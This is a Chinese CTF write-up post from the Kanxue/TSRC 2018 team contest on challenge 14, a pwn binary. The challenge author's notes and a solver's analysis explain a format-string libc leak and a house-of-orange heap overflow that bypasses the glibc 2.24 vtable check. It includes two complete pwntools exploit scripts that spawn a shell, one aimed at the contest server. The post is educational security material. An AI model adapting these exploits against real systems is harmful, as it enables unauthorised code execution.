[推荐]看雪CTF.TSRC 2018 团队赛第十四题『你眼中的世界』解题思路

发表于: 2018-12-29 18:49 4320

[推荐]看雪CTF.TSRC 2018 团队赛第十四题『你眼中的世界』解题思路

Editor

2018-12-29 18:49

4320

第十四题《你眼中的世界》在今天（12月29日）中午12:00 结束攻击！共计十支团队攻破此题！其中，111new111 以 4454s 的成绩成为本题第一名！

本题结束后，防守团队排行榜如下：

第十四题点评

crownless：

“你眼中的世界”是一道pwn题，而不是本次看雪CTF中多见的逆向题，体现了命题的多样性。程序功能很简单，会造成堆溢出，利用起来却比较复杂。

第十四题出题团队简介

出题团队：ivanChen之队

第十四题设计思路

由看雪论坛ivanChen 原创

# echo from your heart

#

# **[Principle]**

format string,house of orange

#

# **[Purpose]**

Master the general process of PWN topics

#

# **[Environment]**

Ubuntu16.04

#

# **[Tools]**

gdb、objdump、python、pwntools

#

# **[Process]**

程序漏洞：

1. 格式化字符串漏洞

64位格式化字符串，开了FORTIFY_SOURCE机制，有几个特性：

1）包含%n的格式化字符串不能位于程序内存中的可写地址。

2）当使用位置参数时，必须使用范围内的所有参数。所以如果要使用%7$x，你必须同时使用1,2,3,4,5和6。

2. 堆溢出(house of orange)

gets这里可以无限写入直到\n为止，所以通过这个漏洞可以修改top_chunk，可以使用house of orange。

利用思路：

Libc-2.24中加入新的检验机制

***

{

Dl_info di;

struct link_map *l;

if (!rtld_active ()

|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0

&& l->l_ns != LM_ID_BASE))

return;

}

***

所以不能通过之前的house of orange 思路getshell。

bypass the _IO_vtable_check：

利用是在_IO_list_all中的chain字段，伪造一个file结构体，然后修改chain为这个结构体的地址。之后在调用IO_flush_all_lockp函数的时候，这个结构体就会被调用。但是因为check了vtables，所以不能够任意提供一个伪造的vtable的地址，但是可以使用io_str_jumps 这个vtable。

完整绕过思路如下：

首先通过unsortedbin attack 改写_IO_list_all，使指针指向main_arena。在拆卸unsort_bin时候对属于small_bin的chunk进行了记录操作，覆盖smallbin偏移为0x60的位置，并且此位置正好为_IO_FILE 中_chain字段在构造Fake_file结构时，将_IO_str_jumps-0x8位置填入vtable。这样可以当调用overflow时，调用_IO_str_finish。可以通过_IO_str_finish最终执行(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)。

The full script is as follows.

exp.py

# -*- coding: utf-8 -*-

#!/usr/bin/env python2

from pwn import *

context.log_level = 'debug'

context.arch = 'amd64'

LOCAL = True

if LOCAL:

p = process(['./echo_from_your_heart'],env={"LD_PRELOAD":"./libc-2.24.so"})

libc = ELF("./libc-2.24.so")

else:

p = remote('192.168.1.107',1337)

libc = ELF("./libc-2.24.so")

def printf(size,string):

p.recvuntil(":")

p.sendline(str(size))

p.recvuntil(":")

p.sendline(string)

def main():

#leak_libc

payload = 7*"%p"+'aaa'+"%p "

printf(len(payload),payload)

p.recvuntil("aaa")

leak = p.recvuntil(" ")[:-1]

leak_addr = int(leak,16)

libc_base = leak_addr - (libc.symbols['__libc_start_main'] + 241) #2.23 240 2.24 241

io_list_all = libc_base + libc.symbols['_IO_list_all']

sys_addr = libc_base + libc.symbols['system']

bin_addr = libc_base + next(libc.search('/bin/sh\x00'))

log.info("libc_base: {}".format(hex(libc_base)))

log.info("io_list_all: {}".format(hex(io_list_all)))

log.info("sys_addr: {}".format(hex(sys_addr)))

log.info("bin_addr: {}".format(hex(bin_addr)))

#overwrite topchunk

printf(0x80,'a'*0x80+p64(0)+p64(0xf51))

#trigger topchunk -> unsortedbin

printf(0x1000,'b'*0x80)

#vtable_addr = libc_base + 0x3be4c0 #_IO_str_jumps 2.24

vtable_addr = libc_base+libc.symbols['_IO_str_jumps']

chunk = p64(0) + p64(0x61) + p64(0) + p64(io_list_all-0x10)

chunk += p64(2) + p64(3) + p64(0) + p64(bin_addr)

chunk = chunk.ljust(0xd0,'\x00')

chunk += p64(0)

chunk += p64(vtable_addr-8)

chunk = chunk.ljust(0xe8,'\x00')

payload = chunk + p64(sys_addr)

printf(0x80,'c'*0x80+payload)

p.sendline("1")

p.interactive()

if __name__ == '__main__':

main()

原文链接：

https://bbs.pediy.com/thread-227074.htm

第十四题你眼中的世界解题思路

本题解析由看雪论坛会飞的鱼油原创。

程序功能分析

程序功能很简单，循环5次，通过sub_AF0函数获取输入的长度，然后分配相应大小的堆保存输入的word，最后输出。

使用shecksec查看有以下保护：

Arch:     amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      PIE enabled

FORTIFY:  Enabled

漏洞分析

获取word的输入没有长度检查，可以造成堆溢出。word的输出会造成格式化字符串漏洞。

漏洞利用原理

1、通过格式化字符串漏洞泄漏出保存在栈中返回到__libc_start_main中的地址，从而可以计算出libc的基址。

2、利用堆溢出修改 top chunk 的大小，当不满足 malloc 的分配需求时，会通过sysmalloc 来向系统申请更多的空间。对于堆来说有 mmap 和 brk 两种分配方式，我们需要让堆以 brk 的形式拓展，申请的大小不能超过默认的阈值也就是128k ，原有的top chunk就会被置于unsorted bin中。top chunk的大小也会有合法性检测，检查如下：

assert((old_top == initial_top(av) && old_size == 0) ||

((unsigned long) (old_size) >= MINSIZE &&

prev_inuse(old_top) &&

((unsigned long)old_end & pagemask) == 0));

所以伪造的大小必须要对齐到内存页，大于 MINSIZE(0x10)，小于之后申请的堆块且size 的 prev inuse 位必须为 1。

3、利用FSOP （File Stream Oriented Programming）原理以及house of orange原理控制程序流程。 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构，称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建，并分配在堆中。FILE结构的定义如下：

struct _IO_FILE {

int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */

/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */

char* _IO_read_ptr; /* Current read pointer */

char* _IO_read_end; /* End of get area. */

char* _IO_read_base;/* Start of putback+get area. */

char* _IO_write_base; /* Start of put area. */

char* _IO_write_ptr;/* Current put pointer. */

char* _IO_write_end;/* End of put area. */

char* _IO_buf_base; /* Start of reserve area. */

char* _IO_buf_end;/* End of reserve area. */

/* The following fields are used to support backing up and undo. */

char *_IO_save_base; /* Pointer to start of non-current get area. */

char *_IO_backup_base;/* Pointer to first valid character of backup area */

char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;

#if 0

int _blksize;

#else

int _flags2;

#endif

_IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */

/* 1+column number of pbase(); 0 is unknown. */

unsigned short _cur_column;

signed char _vtable_offset;

char _shortbuf[1];

/*  char* _save_gptr;  char* _save_egptr; */

_IO_lock_t *_lock;

#ifdef _IO_USE_OLD_IO_FILE

};

进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表，链表头部用libc中的全局变量_IO_list_all 表示，通过这个值我们可以遍历所有的 FILE 结构。需要注意的是 stdin、stdout、stderr 这三个文件流位于 libc的数据段中。但是事实上_IO_FILE 结构位于另一种结构_IO_FILE_plus中， _IO_FILE_plus的定义如下：

struct _IO_FILE_plus

{

_IO_FILE file;

IO_jump_t *vtable;

}

其中包含了一个重要的指针 vtable，它指向了一系列函数指针, 标准 IO 函数中会调用这些函数指针。

gdb-peda$ p _IO_file_jumps

$1 = {

__dummy = 0x0, 

__dummy2 = 0x0, 

__finish = 0x7ffff7a8ed20 <_IO_new_file_finish>, 

__overflow = 0x7ffff7a8f700 <_IO_new_file_overflow>, 

__underflow = 0x7ffff7a8f4b0 <_IO_new_file_underflow>, 

__uflow = 0x7ffff7a90560 <__GI__IO_default_uflow>, 

__pbackfail = 0x7ffff7a91700 <__GI__IO_default_pbackfail>, 

__xsputn = 0x7ffff7a8e5a0 <_IO_new_file_xsputn>, 

__xsgetn = 0x7ffff7a8e2b0 <__GI__IO_file_xsgetn>, 

__seekoff = 0x7ffff7a8d8e0 <_IO_new_file_seekoff>, 

__seekpos = 0x7ffff7a90ad0 <_IO_default_seekpos>, 

__setbuf = 0x7ffff7a8d850 <_IO_new_file_setbuf>, 

__sync = 0x7ffff7a8d780 <_IO_new_file_sync>, 

__doallocate = 0x7ffff7a829b0 <__GI__IO_file_doallocate>, 

__read = 0x7ffff7a8e580 <__GI__IO_file_read>, 

__write = 0x7ffff7a8df70 <_IO_new_file_write>, 

__seek = 0x7ffff7a8dd70 <__GI__IO_file_seek>, 

__close = 0x7ffff7a8d840 <__GI__IO_file_close>, 

__stat = 0x7ffff7a8df60 <__GI__IO_file_stat>, 

__showmanyc = 0x7ffff7a91860 <_IO_default_showmanyc>, 

__imbue = 0x7ffff7a91870 <_IO_default_imbue>

}

因此直接改写 vtable 中的函数指针或者是覆盖 vtable 的指针指向我们控制的内存，然后在其中布置函数指针就可以劫持程序流程。该程序可以覆盖unsorted bin空闲块，修改bk指向_IO_list_all-0x10，同时布置fake file struct，然后分配堆块，触发unsorted bin attack 修改_IO_list_all指向main_arena+88，因为_chain域在_IO_list_all + 0x68的位置，也就是 main_arena + 88 + 0x68-->small bin中大小为0x60的位置，所以需要修改其大小为0x60 ，之后修改过的unsorted bin 会被放入 small bin [4]中，这样就可以伪造一个FILE结构，继续遍历unsorted bin会触发异常，调用malloc_printerr。调用栈如下：

malloc_printerr

 _libc_message(error msg)

 abort

 _IO_flush_all_lockp -> JUMP_FILE(_IO_OVERFLOW)

_IO_flush_all_lockp函数会刷新_IO_list_all 链表中所有项的文件流，相当于对每个 FILE 调用 fflush，也对应着会调用_IO_FILE_plus.vtable 中的 _IO_OVERFLOW 。控制 _IO_OVERFLOW 函数便就可以拿到shell。 libc2.24版本的_IO_flush_all_lockp定义如下：

int

_IO_flush_all_lockp (int do_lock)

{

int result = 0;

struct _IO_FILE *fp;

int last_stamp;

#ifdef _IO_MTSAFE_IO

__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);

if (do_lock)

_IO_lock_lock (list_all_lock);

#endif

last_stamp = _IO_list_all_stamp;

fp = (_IO_FILE *) _IO_list_all;

while (fp != NULL)

{

run_fp = fp;

if (do_lock)

_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)//合法性检查

#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T

|| (_IO_vtable_offset (fp) == 0

&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr

> fp->_wide_data->_IO_write_base))

#endif

)

&& _IO_OVERFLOW (fp, EOF) == EOF)

result = EOF;

if (do_lock)

_IO_funlockfile (fp);

run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)

{

/* Something was added to the list.  Start all over again.  */

fp = (_IO_FILE *) _IO_list_all;

last_stamp = _IO_list_all_stamp;

}

else

fp = fp->_chain;

}

#ifdef _IO_MTSAFE_IO

if (do_lock)

_IO_lock_unlock (list_all_lock);

__libc_cleanup_region_end (0);

#endif

return result;

}

所以伪造的结构体要满足(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)或者 (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) )。在 libc2.23 版本中可以直接修改伪造的vtable, 使得_IO_OVERFLOW=system_addr 。kkhaike大佬说该程序无法泄漏出堆顶地址，所以采用绕过libc2.24检查机制的方法来获取shell。libc2.24版本多了一个vtable合理性的检查机制，检查如下：

IO_validate_vtable (const struct _IO_jump_t *vtable)

{

/* Fast path: The vtable pointer is within the __libc_IO_vtables

section.  */

uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;

const char *ptr = (const char *) vtable;

uintptr_t offset = ptr - __start___libc_IO_vtables;

if (__glibc_unlikely (offset >= section_length))

/* The vtable pointer is not in the expected section.  Use the

slow path, which will terminate the process if necessary.  */

_IO_vtable_check ();

return vtable;

}

可以使用__IO_str_jumps和__IO_wstr_jumps进行绕过，使用__IO_str_jumps 更为简单，如何定位 __IO_str_jumps 参考这篇文章。 __IO_str_jumps 定义如下：

const struct _IO_jump_t _IO_str_jumps libio_vtable =

{

JUMP_INIT_DUMMY,

JUMP_INIT(finish, _IO_str_finish),

JUMP_INIT(overflow, _IO_str_overflow),

JUMP_INIT(underflow, _IO_str_underflow),

JUMP_INIT(uflow, _IO_default_uflow),

JUMP_INIT(pbackfail, _IO_str_pbackfail),

JUMP_INIT(xsputn, _IO_default_xsputn),

JUMP_INIT(xsgetn, _IO_default_xsgetn),

JUMP_INIT(seekoff, _IO_str_seekoff),

JUMP_INIT(seekpos, _IO_default_seekpos),

JUMP_INIT(setbuf, _IO_default_setbuf),

JUMP_INIT(sync, _IO_default_sync),

JUMP_INIT(doallocate, _IO_default_doallocate),

JUMP_INIT(read, _IO_default_read),

JUMP_INIT(write, _IO_default_write),

JUMP_INIT(seek, _IO_default_seek),

JUMP_INIT(close, _IO_default_close),

JUMP_INIT(stat, _IO_default_stat),

JUMP_INIT(showmanyc, _IO_default_showmanyc),

JUMP_INIT(imbue, _IO_default_imbue)

};

可以利用其中的 _IO_str_finsh和_IO_str_overflow这两个函数的strops.c定义如下：

void

_IO_str_finish (FILE *fp, int dummy)

{

if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))

(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h]

fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);

}

int

_IO_str_overflow (_IO_FILE *fp, int c)

{

...

pos = fp->_IO_write_ptr - fp->_IO_write_base;

if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))

{

if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */

return EOF;

else

{

char *new_buf;

char *old_buf = fp->_IO_buf_base;

size_t old_blen = _IO_blen (fp);

_IO_size_t new_size = 2 * old_blen + 100;

if (new_size < old_blen)

return EOF;

new_buf

= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//调用 ((char*)fp + 0xE0))(2 * v6 + 100)，v6=fp->_IO_buf_end - fp->_IO_buf_base

...

}

}

...

}

因为调用(char*)fp+0xE8和(char*)fp + 0xE0，所以可以把这部分设置成system的地址。

EXP

exp是参考的这篇文章

https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.25_pwn_hctf2017_babyprintf.md

from pwn import *

#context.log_level = 'debug'

io = remote("211.159.175.39", 8686)

libc = ELF('libc.2.23.so')

def prf(size, s):

io.sendlineafter(" word: ", str(size))

io.sendlineafter("word: ", s)

def overwrite_top():

payload  = "A" * 16

payload += p64(0) + p64(0xfe1)# top chunk header

prf(0x10, payload)

def leak_libc():

global libc_base

prf(0x1000, '%p%p%p%p%p%p%p%pA')

libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 240 #241

libc_base = libc_start_main - libc.symbols['__libc_start_main']

log.info("libc_base address: 0x%x" % libc_base)

def house_of_orange():

io_list_all = libc_base + libc.symbols['_IO_list_all']

system_addr = libc_base + libc.symbols['system']

bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()

vtable_addr = libc_base + 0x3C37A0 #0x3be4c0          # _IO_str_jumps

log.info("_IO_list_all address: 0x%x" % io_list_all)

log.info("system address: 0x%x" % system_addr)

log.info("/bin/sh address: 0x%x" % bin_sh_addr)

log.info("vtable address: 0x%x" % vtable_addr)

stream  = p64(0) + p64(0x61)# fake header   # fp

stream += p64(0) + p64(io_list_all - 0x10)# fake bk pointer

stream += p64(0)# fp->_IO_write_base

stream += p64(1) # fp->_IO_write_ptr

#stream += p64(0xffffffff)                   # fp->_IO_write_ptr

stream += p64(0)# *2                         # fp->_IO_write_end, fp->_IO_buf_base

stream += p64(bin_sh_addr)

stream += p64(0)#(bin_sh_addr - 100) / 2)      # fp->_IO_buf_end

stream  = stream.ljust(0xc0, '\x00')

stream += p64(0)# fp->_mode

payload  = "A" * 0x10

payload += stream

payload += p64(0) * 2

payload += p64(vtable_addr - 8) # _IO_FILE_plus->vtable

payload += p64(0)

payload += p64(system_addr)

prf(0x10, payload)

def house_of_orange_():

io_list_all = libc_base + libc.symbols['_IO_list_all']

system_addr = libc_base + libc.symbols['system']

bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()

vtable_addr = libc_base + 0x3C37A0 # _IO_str_jumps

log.info("_IO_list_all address: 0x%x" % io_list_all)

log.info("system address: 0x%x" % system_addr)

log.info("/bin/sh address: 0x%x" % bin_sh_addr)

log.info("vtable address: 0x%x" % vtable_addr)

stream  = p64(0) + p64(0x61)# fake header   # fp

stream += p64(0) + p64(io_list_all - 0x10)# fake bk pointer

stream += p64(0)# fp->_IO_write_base

stream += p64(0xffffffff) # fp->_IO_write_ptr

stream += p64(0) *2  # fp->_IO_write_end, fp->_IO_buf_base

stream += p64((bin_sh_addr - 100) / 2)# fp->_IO_buf_end

stream  = stream.ljust(0xc0, '\x00')

stream += p64(0)# fp->_mode

payload  = "A" * 0x10

payload += stream

payload += p64(0) * 2

payload += p64(vtable_addr) # _IO_FILE_plus->vtable

payload += p64(system_addr)

prf(0x10, payload)

def pwn():

io.sendlineafter(" word: ", "0")

#io.sendline("0")        # abort routine

io.interactive()

if __name__ == '__main__':

overwrite_top()

leak_libc()

house_of_orange()

pwn()

house_of_orange函数利用的是_IO_str_finsh， house_of_orange _函数利用的是_IO_str_overflow 。但是使用_IO_str_overflow并不成功，不知道是不是因为bin_sh_addr的地址是奇数的原因。最后使用house_of_orange获得shell。

参考链接

原文链接：

https://bbs.pediy.com/thread-248698.htm

第十五题【密码风云】正在火热进行中

第15题/共15题

《密码风云》将于 12月31 日中午 12:00 结束

合作伙伴

腾讯安全应急响应中心

TSRC，腾讯安全的先头兵，肩负腾讯公司安全漏洞、黑客入侵的发现和处理工作。这是个没有硝烟的战场，我们与两万多名安全专家并肩而行，捍卫全球亿万用户的信息、财产安全。一直以来，我们怀揣感恩之心，努力构建开放的TSRC交流平台，回馈安全社区。未来，我们将继续携手安全行业精英，探索互联网安全新方向，建设互联网生态安全，共铸“互联网+”新时代。